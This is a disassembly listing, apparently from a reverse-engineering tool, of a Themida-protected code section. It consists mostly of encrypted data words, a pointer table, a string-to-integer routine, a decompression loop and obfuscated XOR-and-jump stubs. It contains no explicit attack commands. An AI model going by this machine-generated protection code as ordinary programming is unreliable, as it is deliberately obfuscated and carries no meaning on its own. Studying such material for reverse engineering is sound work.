		dd 0E9000002h, 14h, 0EE2329ABh,	0A5C65157h, 7FD5ED48h
		dd 0E5A1573Eh, 90B81B1h, 0B8h, 39BD3100h, 83062B18h, 840F00F8h
		dd 105h, 2F883F5h, 0E5850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E9A83DC3h
		dd 13h,	812417C3h, 0B4B93D00h, 0DBC3E248h, 0A39D2FE3h
		dd 0B6B45870h, 0B7858D88h, 6A062B44h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 14C3C352h
		dd 5AE5F044h, 21EF7132h, 13E8h,	84A11400h, 0E873B2C6h
		dd 42AA63F6h, 289700DBh, 3453160h, 1F71958Bh, 0E85B062Bh
		dd 12h,	0BDA9CA9Fh, 202785BAh, 95F1B61Fh, 0FBE19AC2h, 85010F4Ah
		dd 62B114Dh, 9292D5Ah, 8C0F0000h, 3, 5039E680h,	8ABDADBAh
		dd 2404894Bh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	6EC35646h, 0B7778990h, 0F1932ECDh, 5B5BBB66h, 51B509C3h
		dd 0B8062B20h, 0
		dd 350D958Bh, 0A8E9062Bh, 8B000001h, 2B0B719Dh,	1B806h
		dd 95230000h, 62B081Dh,	44BCBD8Dh, 958B062Bh, 62B1C71h
		dd 0ABE9h, 3FBB6600h, 2F88305h,	16850Fh, 9D8B0000h, 62B1AF9h
		dd 46B4BD8Dh, 8B66062Bh, 8AE9DFh, 0DA8A0000h, 0F03F883h
		dd 4885h, 8935B700h, 2B29FD95h,	48BD8D06h, 6A062B48h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D59BC350h, 0DE9h, 0C219E100h, 57295776h, 45E4F962h
		dd 3DE97358h, 1000000h,	2B0E0195h, 5F88306h, 2E850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8BA715C3h, 2B2D2D95h, 58E906h, 9D330000h, 62B0521h
		dd 0B9F2B257h, 23E1EBE5h, 28E18589h, 3F83062Bh,	3B840F00h
		dd 8B000000h, 2B19919Dh, 6A0F3006h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 4361C356h
		dd 0FC630B73h, 54B3C9D1h, 0E963B247h, 0FFFFFFC2h, 1E258589h
		dd 0F883062Bh, 80850F05h, 0E9000000h, 0Ch, 7B690B21h, 0EDE2DA4Ch
		dd 0A2A05237h, 60D98C66h, 7E9h,	313C3E00h, 7075E3E9h, 21F5B58Bh
		dd 0F661062Bh, 850F04C1h, 3Eh, 6FF38166h, 0B8E8h, 958B0000h
		dd 62B21B5h, 3AE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0DCC150CEh, 9D22F8C0h
		dd 193D8D89h, 858B062Bh, 62B0191h, 1CC58589h, 0E0FF062Bh
		dd 83D8BF0Fh, 2B0EA1BDh, 850F0006h, 12Bh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 62C35646h, 13E8h
		dd 0CD10BB00h, 98AA4E1h, 0D7F8FBBFh, 60405679h,	95922D99h
		dd 805A95B7h, 605028C6h, 11B4A6B0h, 24048961h, 0C64FF380h
		dd 2B332D85h, 9D8B4506h, 62B2475h, 68D0B70Fh, 1996FC77h
		dd 0FABB460h, 283h, 615A5200h, 0F2240481h, 6A74DB6Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 521CC350h, 0D8E28166h, 11E95B51h, 46000000h,	0C57D058Bh
		dd 61AFC009h, 84FA0AA4h, 5927D4A1h, 0B1DB5FFh, 6A062Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FC1F2AC3h, 0BE960h,	324E0000h, 2A29D05Dh, 72FCF771h
		dd 43DF811Ah, 6118749Ch, 3C25858Dh, 9D29062Bh, 62B2BD9h
		dd 820Fh, 0D0FF0000h, 89DE8B66h, 2B0EA185h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 2EAA1799h, 0F5AEFD32h, 7D9D8B58h, 83062B2Eh,	2B4E8BBDh
		dd 840F0006h, 5Bh, 26EB8151h, 5B0D5769h, 861B5FFh, 6A062Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 312039C3h, 0FFF8BB05h, 2B0EA195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0E46FE55Fh
		dd 11E5958Bh, 83F8062Bh, 850F00F8h, 14Dh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0F3C35141h, 7B983C57h
		dd 7DBD2ACDh, 0A9B5894Dh, 83062B10h, 2B2C89BDh,	840F0006h
		dd 0B3h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	46C35545h, 59EA838Ah, 93154BDEh, 5E9A6h, 2A680000h
		dd 0FF15B84Ah, 2B2C89B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0FDA033B9h
		dd 604235C4h, 758D8956h, 59062B07h, 545B58Bh, 0B861062Bh
		dd 1, 2055958Bh, 4AE9062Bh, 6A000002h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 6934C356h
		dd 1BACC55Eh, 0EE9D30Ch, 0BB000000h, 4D074315h,	0D719BCCDh
		dd 0C4AD99E0h, 0D2BF0F65h, 0FFDFBF0Fh, 2B0861B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0B6BF89Fh, 861B5FFh,	8166062Bh, 0FF313FF2h, 2B0EA1B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 8B06B56Eh, 0B2E9C545h, 8B000001h, 2B15F595h
		dd 6A5F06h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0BFE2ACC3h, 75BA8D1Ah, 95890FC1h,	62B055Dh
		dd 2BDDBD83h, 0F00062Bh, 0E585h, 0E5958900h, 0C6062B00h
		dd 2B332D85h, 870F4D06h, 6, 16058589h, 0BD68062Bh, 0E978038Dh
		dd 14h,	0C7E93D30h, 0E7F65D6h, 6C192322h, 0D8E90424h, 533774B6h
		dd 0EB240481h, 0F2C31E8h, 1882h, 13E900h, 0
		dd 0C5F66202h, 0B9D5AFF4h, 9CDAEE5Ch, 0E969B9E8h, 19B5FF4Bh
		dd 0E8062B2Fh, 9, 729CA443h, 0DB615CFAh, 7E9F9h, 71B30000h
		dd 0F97A261Eh, 858D5A0Ch, 62B3C25h, 3E49EB81h, 0D0FF0539h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0FAC35040h
		dd 5A068206h, 2D019D95h, 0B21BD89h, 8166062Bh, 892E38F3h
		dd 2B2BDD85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 4F1812F7h, 341D9D29h, 0B8062Bh, 0F000000h
		dd 0BD89DEBFh, 62B4E34h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 14C35141h, 5F73B7BDh,	0FA7FB11Bh, 1EACBA66h
		dd 840FC00Bh, 31h, 2EF59D8Bh, 46E9062Bh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0BA3C355h, 89CAC8B3h, 2B0EA9B5h, 0A1B5FF06h,	8D062B0Eh
		dd 2DB12F85h, 0BD78006h, 54E8BB90h, 66507740h, 8990D98Bh
		dd 2B2C1DBDh, 8D565006h, 2B55F0BDh, 668D8D06h, 0B8062B79h
		dd 748323BCh, 730CF2Bh,	4947C8D0h, 585EF875h, 2C89BD83h
		dd 7400062Bh, 0A58D8B06h, 33062B28h, 0B8C9h, 0C00B0000h
		dd 0A8840Fh, 0BD830000h, 62B34E1h, 0FF067400h, 2B0F9D95h
		dd 0B806h, 0C00B0000h, 0BD830975h, 62B4E3Ch, 83097401h
		dd 2B4E3CBDh, 0E750206h, 4E34B58Bh, 858D062Bh, 62DB12Fh
		dd 0BD83D0FFh, 62B1D49h, 0FF067400h, 2B351195h,	48858D06h
		dd 0FF062B44h, 35BD83D0h, 2062B15h, 0A58B2F75h,	62B015Dh
		dd 2C89858Bh, 489062Bh,	9985C724h, 1062B19h, 8B000000h
		dd 2B4E38B5h, 15AD8B06h, 0B8062B06h, 1,	0EB000CC2h, 9985C700h
		dd 1062B19h, 8B000000h,	2B015DA5h, 0BDB58B06h, 8B062B09h
		dd 2B0615ADh, 0C2C03306h, 0BD83000Ch, 62B1D49h,	830F7400h
		dd 2B3511BDh, 6740006h,	351195FFh, 0B58B062Bh, 62B4E34h
		dd 51006AC3h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0ABCE8033h, 0CE8h, 0EEBDF500h, 8F8CEDC9h
		dd 317988A9h, 0E281669Ch, 665A15B9h, 0BADE8Bh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 6B52C356h, 44F8F265h, 8B236194h, 2B022D9Dh
		dd 0DF8B5206h
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_544179
; ---------------------------------------------------------------------------


loc_544177:				; CODE XREF: Themida_:0054417Cj
		inc	eax
		inc	edi


loc_544179:				; CODE XREF: Themida_:00544175j
		cmp	byte ptr [edi],	0
		jnz	short loc_544177
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5441A8
; ---------------------------------------------------------------------------


loc_544185:				; CODE XREF: Themida_:005441AAj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_54419D
; ---------------------------------------------------------------------------


loc_54419A:				; CODE XREF: Themida_:005441A0j
		mul	ebx
		dec	esi


loc_54419D:				; CODE XREF: Themida_:00544198j
		cmp	esi, 0
		ja	short loc_54419A
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5441A8:				; CODE XREF: Themida_:00544183j
		or	eax, eax
		jnz	short loc_544185
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 8509h
		dd 62B0AC1h, 0B999D8Bh,	0C18B062Bh, 1ADE9h, 748B6000h
		dd 7C8B2424h, 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h
		dd 5, 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h
		dd 0D2124616h, 6A830Fh,	0C0330000h, 850FD202h, 5, 1246168Ah
		dd 2A830FD2h, 2000001h,	5850FD2h, 8A000000h, 0D2124616h
		dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0FC013D2h, 684h, 0F82B5700h,	885F078Ah, 2BB4707h, 0E9000000h
		dd 0FFFFFF70h, 1B8h, 0FD20200h,	585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	2BFFFFFFh, 1BBC3h
		dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	56FFFFFFh, 0F52BF78Bh
		dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah,	1B9E8h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h
		dd 3D000000h, 500h, 0E820Fh, 56410000h,	0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFEB4h, 0F7FF883h, 387h,	2C18300h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h
		dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h
		dd 7C2BFFFFh, 7C892824h, 0C2611C24h, 29BA0008h,	0E9000009h
		dd 22A2Ah, 0
		dd 12FF6Ch, 5BAB3Fh, 2 dup(5BC699h), 25A003Fh, 25A0028h
		dd 202h, 2, 1, 3, 0FA28C6A8h, 5	dup(0)
		dd offset byte_549F01
		dd offset word_54D022
		dd offset byte_551313
		dd offset byte_5492BD
		dd offset aNBu_SZ	; "­-u_$é)‡"
		dd offset word_54CCDE
		dd offset byte_546CE9
		dd offset word_5495FA
		dd offset byte_54D7B9
		dd offset dword_54CDC8
		dd offset aNsM		; "­éšm"
		dd offset word_5470A6
		dd offset byte_550BE5
		dd offset byte_551349
		dd offset byte_545B3B
		dd offset byte_54C0A5
		dd offset dword_54ED64
		dd offset byte_54FDD5
		dd offset byte_54DE9B
		dd offset byte_54B80D
		dd offset dword_549E74
		dd offset byte_54A659
		dd offset word_55104E
		dd offset byte_550291
		dd offset byte_547DFD
		dd offset dword_54DD54
		dd offset byte_54FE2B
		dd offset byte_54CB99
		dd offset word_550DDE
		dd offset byte_547F11
		dd offset word_54A2A6
		dd offset dword_54DE7C
		dd offset byte_54840F
		dd offset byte_5452DF
		dd offset byte_54E4D9
off_544450	dd offset word_547E7A	; DATA XREF: ___:off_43668Co
		dd offset byte_54E21F
		dd offset word_546DD6
		dd offset dword_54CD20
		dd offset word_5449DA
		dd offset aM0Qrsco	; "¬0ØQRé–®"
		dd offset byte_54E749
		dd offset dword_5463D0
		dd offset off_54F04E
		dd offset byte_54DF8B
		dd offset byte_54603B
		dd offset byte_54731B
		dd offset byte_54D391
		dd offset word_54F2E6
		dd offset byte_54C123
		dd offset byte_550E13
		dd offset word_54C6D6
		dd offset dword_550A14
		dd offset word_54D8CE
		dd offset dword_546CF8
		dd offset byte_5466F3
		dd offset byte_54831D
		dd offset dword_5503C8
		dd offset dword_54A880
		dd offset word_5478AA
		dd offset word_55126A
		dd offset dword_54C66C
		dd offset dword_54F9E0
		dd offset byte_54D93D
		dd offset byte_549999
		dd offset word_55099E
		dd offset aMHn		; "¬,¸(Øh\n"
		dd offset word_54E8A6
		dd offset byte_54C01D
		dd offset word_54B8F2
		dd offset byte_54A3F9
		dd offset byte_547AA1
		dd offset dword_54C1BC
		dd offset word_54E41E
		dd offset byte_54A7BB
		dd offset byte_545E81
		dd offset byte_549A33
		dd offset dword_5468D0
		dd offset byte_551243
		dd offset byte_547AB3
		dd offset word_550266
		dd offset byte_54B62B
		dd offset aN1Hhn	; "­1ØhHn"
		dd offset byte_54F4DB
		dd offset aNsA		; "­éÚ "
		dd offset byte_54D059
		dd offset word_546B76
		dd offset dword_54A55C
		dd offset dword_5482A4
		dd offset dword_547130
		dd offset byte_550089
		dd offset byte_54EC91
		dd offset byte_54B259
		dd offset word_54DA1A
		dd offset word_54CA5E
		dd offset byte_545A6F
		dd offset dword_548C48
		dd offset dword_54E53C
		dd offset word_54AB1A
		dd offset byte_54B8B7
		dd offset dword_54D8DC
		dd offset dword_54E88C
		dd offset aNsL		; "­éÉL"
		dd offset word_54F22A
		dd offset byte_54B5D9
		dd offset dword_545ED8
		dd offset byte_54F8A7
		dd offset word_546066
		dd offset word_54ED8E
		dd offset word_5474EE
		dd offset word_54FB8A
		dd offset byte_5507A1
		dd offset word_54C8DE
		dd offset dword_54E410
		dd offset byte_54D071
		dd offset dword_5458B4
		dd offset byte_54B495
		dd offset byte_54E573
		dd offset dword_545040
		dd offset byte_544FD5
		dd offset byte_550023
		dd offset byte_54EB83
		dd offset byte_54B683
		dd offset dword_54A730
		dd offset word_54833E
		dd offset word_55033E
		dd offset byte_54AAB1
		dd offset byte_54E981
		dd offset word_54E792
		dd offset byte_550635
		dd offset dword_54EED0
		dd offset word_544B76
		dd offset byte_54B8C5
		dd offset word_549576
		dd offset dword_54BF60
		dd offset byte_548075
		dd offset word_54AD1E
		dd offset byte_54F2BF
		dd offset word_54512A
		dd offset byte_54ADF1
		dd offset byte_54F345
		dd offset dword_54CDA0
		dd offset aFlS?y	; "f‹$$é?y"
		dd offset byte_54954D
		dd offset byte_547579
		dd offset byte_547555
		dd offset byte_551223
		dd offset dword_546324
		dd offset word_54DEFA
		dd offset dword_54DD04
		dd offset byte_550DC9
		dd offset byte_54FB65
		dd offset word_549B0A
		dd offset byte_546117
		dd offset byte_546D39
		dd offset dword_546768
		dd offset word_545ADA
		dd offset aNh		; "­h\"#"
		dd offset byte_546D81
		dd offset word_545CF6
		dd offset byte_54F1D3
		dd offset word_548C5A
		dd offset byte_5464DD
		dd offset dword_54F780
		dd offset byte_54A09D
		dd offset byte_549209
		dd offset byte_548089
; ---------------------------------------------------------------------------


loc_544660:				; CODE XREF: Themida_:0056776Fj
					; Themida_:0059A048j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62B7FC0h
		mov	eax, edi
		add	edi, 62B7CD8h
		cmp	eax, [edi+2Ch]
		jnz	short loc_54467E
		jmp	short loc_544691
; ---------------------------------------------------------------------------


loc_54467E:				; CODE XREF: Themida_:0054467Aj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54468D
; ---------------------------------------------------------------------------


loc_544688:				; CODE XREF: Themida_:0054468Fj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54468D:				; CODE XREF: Themida_:00544686j
		or	ecx, ecx
		jnz	short loc_544688


loc_544691:				; CODE XREF: Themida_:0054467Cj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54469E:				; CODE XREF: Themida_:005446A5j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54469E


loc_5446A7:				; CODE XREF: Themida_:005447E0j
					; Themida_:00546BD4j ...
		lodsb
		xor	al, bl
		jmp	loc_54D5D5
; ---------------------------------------------------------------------------


loc_5446AF:				; CODE XREF: Themida_:0054D5A6j
		sub	edx, edi
		pop	edi
		push	ebp
		jmp	loc_54D194
; ---------------------------------------------------------------------------
		dd 33241431h, 665C2414h, 0E9240489h, 0FFFFFFDFh, 34FFE388h
		dd 0C0E95824h, 89000061h, 9CE92424h, 53000015h,	0B7E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5446E1:				; CODE XREF: Themida_:00548E2Ej
		mov	ecx, esi
		pop	esi
		not	ecx
		jmp	loc_544DDB
; ---------------------------------------------------------------------------


loc_5446EB:				; CODE XREF: Themida_:00547455j
		mov	eax, 54500C5Eh
		xor	eax, 1AF71AC2h
		and	eax, 15662010h
		neg	eax
		sub	eax, 0FFFFFFFFh
		dec	eax
		push	esi
		mov	esi, 7D23C3B7h
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_5455A6
; ---------------------------------------------------------------------------
		dw 0F281h
aXsQsc		db 'XSËQéçµ',0
		dd 0E9EEB400h, 375Bh, 815EF509h, 0C2B978C5h, 5DEE0101h
		dd 0E91C7709h, 0CA30h, 582434FFh, 4C481h, 0F5E90000h, 33000097h
		dd 0E2E9241Ch, 31000022h, 34332434h, 0C402E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54475A:				; CODE XREF: Themida_:0054A071j
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54E06D
; ---------------------------------------------------------------------------
		db 5
		dd 0B891C1DEh, 0F758C189h, 81D1F7D1h, 251FE1h, 0E1F1814Eh
		dd 1B2FC80h, 0D68959CAh, 8124148Bh, 4C4h, 3FEE8100h, 159ED72h
		dd 0B60F5EF7h, 8734FFC0h, 6FBFE9h, 25CF8100h, 5274F251h
		dd 595C88BAh, 81D2F72Dh, 8B16A9E2h, 7E2C131h, 2CDEC281h
		dd 0D709CD0Bh, 0FCBD555Ah, 29125C68h, 9579E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5447CE:				; CODE XREF: Themida_:0054F20Ej
		xor	ebx, 98495904h
		mov	edx, ebx
		pop	ebx
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5446A7
; ---------------------------------------------------------------------------


loc_5447E5:				; CODE XREF: Themida_:00547F03j
		add	esp, 4
		push	ecx
		push	2F34h
		jmp	loc_54CE2A
; ---------------------------------------------------------------------------
		dw 3489h
		dd 1F8DBE24h, 0C681791Ah, 0FE9333BFh, 432EE9h
		db 0
; ---------------------------------------------------------------------------


loc_544809:				; CODE XREF: Themida_:0054BA13j
		mov	esi, 0A23158Bh
		xor	esi, 325105E1h
		or	esi, 4370310h
		shl	esi, 5
		jmp	loc_551204
; ---------------------------------------------------------------------------


loc_544822:				; CODE XREF: Themida_:0054FF93j
		add	ebx, eax
		pop	eax
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 56556F65h
		jmp	loc_551098
; ---------------------------------------------------------------------------


loc_544844:				; CODE XREF: Themida_:00545DC9j
		mov	eax, ebp
		pop	ebp
		add	eax, edx
		add	[eax], ecx
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		push	3EF4h
		mov	[esp], esi
		push	519h
		jmp	loc_5483FC
; ---------------------------------------------------------------------------
aIRsL		db 'ˆ×RéÏL',0
		dw 0BF00h
		dd 42455A72h, 406FB850h, 63E91CD3h, 0C10000AEh,	0A82505E8h
		dd 0C15AE47Fh, 0BD5508E8h, 6D27217Fh, 2282E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544896:				; CODE XREF: Themida_:00546A16j
		mov	eax, 8D47B08h
		sub	eax, 0F8591316h
		push	esi
		jmp	loc_5505C7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2297E904h, 5F5A0000h, 815AD701h, 4C7h, 243C8700h, 0E789575Ch
		dd 4C781h, 0C7810000h, 4, 7FE2E9h, 14AD6800h, 48580A50h
		dd 1795E9h, 27BB2500h, 39E96BB2h, 290000C4h, 67EA81CAh
		dd 5920E422h, 0EA81EAD1h, 110D341Ch, 6DB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5448FD:				; CODE XREF: Themida_:0054D67Cj
		push	edi
		mov	edi, 1392B70h
		sub	dword ptr [esp+4], 49CA70B8h
		jmp	loc_5487F5
; ---------------------------------------------------------------------------


loc_544910:				; CODE XREF: Themida_:0054ED5Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		push	ecx
		jmp	loc_54AD5E
; ---------------------------------------------------------------------------
aASf		db '€Ã¸é” ',0
		dd 0FD65E900h, 3C8BFFFFh, 4C48124h, 0F7000000h,	81D9F7D1h
		dd 0EC037FC1h, 0ABE98142h, 89483ED3h, 6F2159CDh, 2434FF1Ch
		dd 4C4815Dh, 0E9000000h, 0FFFFFD37h, 2BA52h, 8CE90000h
		dd 6800008Bh, 367Fh, 81242489h,	42404h,	0E95E0000h, 7E94h
		dd 0BE56D001h, 73C78h, 7EB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_54499D:				; CODE XREF: Themida_:00549495j
		not	ecx
		jmp	loc_54BF1C
; ---------------------------------------------------------------------------
		dd 24148966h, 0E99C5066h, 0FFFFFCF7h
; ---------------------------------------------------------------------------


loc_5449B0:				; CODE XREF: Themida_:0054C4C8j
		xor	esi, 5FFF7FFAh
		mov	ecx, esi
		pop	esi
		jmp	loc_54B42B
; ---------------------------------------------------------------------------


loc_5449BE:				; CODE XREF: Themida_:00548360j
		pop	esp
		jmp	loc_546CB9
; ---------------------------------------------------------------------------
		dd 7FCEE954h, 34890000h, 81E68924h, 4C6h, 652FE900h
		db 2 dup(0)
word_5449DA	dw 8B66h		; DATA XREF: Themida_:00544460o
		dd 0E9572404h, 7970h, 0A29BE959h, 0A4BD0000h, 8148E22Ch
		dd 0BE3B2EC5h, 0C0E98132h, 0E9391D79h, 2517h, 4EC835Dh
		dd 0BB241C89h, 4, 34FFDE29h, 721BE924h,	4870000h, 24248B24h
		dd 5E08950h, 4,	8F5CE9h
		db 0
; ---------------------------------------------------------------------------


loc_544A29:				; CODE XREF: Themida_:0054C95Fj
		or	ecx, 29D319DAh
		or	ecx, 76AB5AEEh
		xor	ecx, 6CB72187h
		jmp	loc_547BCC
; ---------------------------------------------------------------------------
aFy0S4		db '(ÈfY0Ãé4<',0
		dw 100h
		dd 0EB835EF3h, 241C3304h, 33241C31h, 0E95C241Ch, 0B553h
		dd 2B9h, 59CB8900h, 1C8BDA01h, 4C48124h, 52000000h, 1C30E9h
		dd 24348900h, 0B9515E54h, 4, 0C8BCE01h,	4C48324h, 4BF57h
		dd 0FE290000h, 81243C8Bh, 4C4h,	123BE900h, 0DFF70000h
		dd 378E781h, 0C7817494h, 955C4DFEh, 0B7E9F801h,	89000075h
		dd 0B95152E6h, 1810210Ah, 0D26B94BAh, 59CA3154h, 3657EA81h
		dd 21E935F4h, 5400008Dh, 4C3815Bh, 0E9000000h, 46E6h, 1E9EB01h
		dd 5C000026h, 8499E9h
		db 0
; ---------------------------------------------------------------------------


loc_544AED:				; CODE XREF: Themida_:00544CD8j
		mov	[esp], edx
		jmp	loc_5483E5
; ---------------------------------------------------------------------------
		db 0BEh, 0, 9Bh
		dd 0F501EED3h, 0C6CEE95Eh, 0F2890000h, 7C2E95Eh, 0BF570000h
		dd 65426514h, 13E9FA01h, 88000030h, 0FEC6E9EFh,	685FFFFFh
		dd 23E8h, 0B8240489h, 2E961A78h, 5507E8C1h, 0A2D3CEBDh
		dd 0E9E801FFh, 9C28h, 0FFFB66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_544B41:				; CODE XREF: Themida_:00551071j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_549377
; ---------------------------------------------------------------------------


loc_544B56:				; CODE XREF: Themida_:005491C1j
		shl	ecx, 8
		and	ecx, 5E157D8Dh
		jmp	loc_54C0E0
; ---------------------------------------------------------------------------


loc_544B64:				; CODE XREF: Themida_:00550CFCj
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_546C0B
; ---------------------------------------------------------------------------
word_544B76	dw 34FFh		; DATA XREF: Themida_:005445D0o
		dd 5AF8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544B7E:				; CODE XREF: Themida_:0054C1A4j
		xor	esi, 4E654A8Fh
		xor	esi, 0FE69697Dh
		add	ebx, esi
		jmp	loc_54B563
; ---------------------------------------------------------------------------


loc_544B91:				; CODE XREF: Themida_:00544D41j
		push	ebx
		mov	ebx, 75567049h
		jmp	loc_54727C
; ---------------------------------------------------------------------------


loc_544B9C:				; CODE XREF: Themida_:005466DDj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54AF9D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 7CB85004h, 52E6D72h, 2689F36h, 5258C329h
		dd 853225BAh, 0D9EA8172h, 0E915E93Fh, 0A6BEh, 1C85EF81h
		dd 52E9B729h, 81000055h, 46379FF5h, 8EDC135h, 5104EDC1h
		dd 0B255E9h
		db 0
; ---------------------------------------------------------------------------


loc_544BF5:				; CODE XREF: Themida_:00549F5Cj
		pop	ecx
		add	eax, ecx
		mov	ecx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_544C2D
; ---------------------------------------------------------------------------


loc_544C0C:				; CODE XREF: Themida_:0054EDDAj
		pop	eax
		jmp	loc_545F44
; ---------------------------------------------------------------------------
aIsSjj		db '‰é]éJj',0
		align 2


loc_544C1A:				; CODE XREF: Themida_:0054C08Bj
		add	edx, 3869128Dh
		jmp	loc_54E3A8
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 373E9h
		db 0
; ---------------------------------------------------------------------------


loc_544C2D:				; CODE XREF: Themida_:00544C07j
		xchg	ecx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	6083h
		mov	[esp], edi
		mov	edi, 40h
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_54C8BF
; ---------------------------------------------------------------------------


loc_544C57:				; CODE XREF: Themida_:0054B440j
		mov	ebp, ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54CC31
; ---------------------------------------------------------------------------


loc_544C73:				; CODE XREF: Themida_:0054E292j
		mov	ebx, edx
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_54DE72
; ---------------------------------------------------------------------------
a313I4Se	db '3<$1<$3<$\‰4$éE"',0
		db 0
; ---------------------------------------------------------------------------


loc_544C97:				; CODE XREF: Themida_:0054B1E8j
		mov	esi, 4
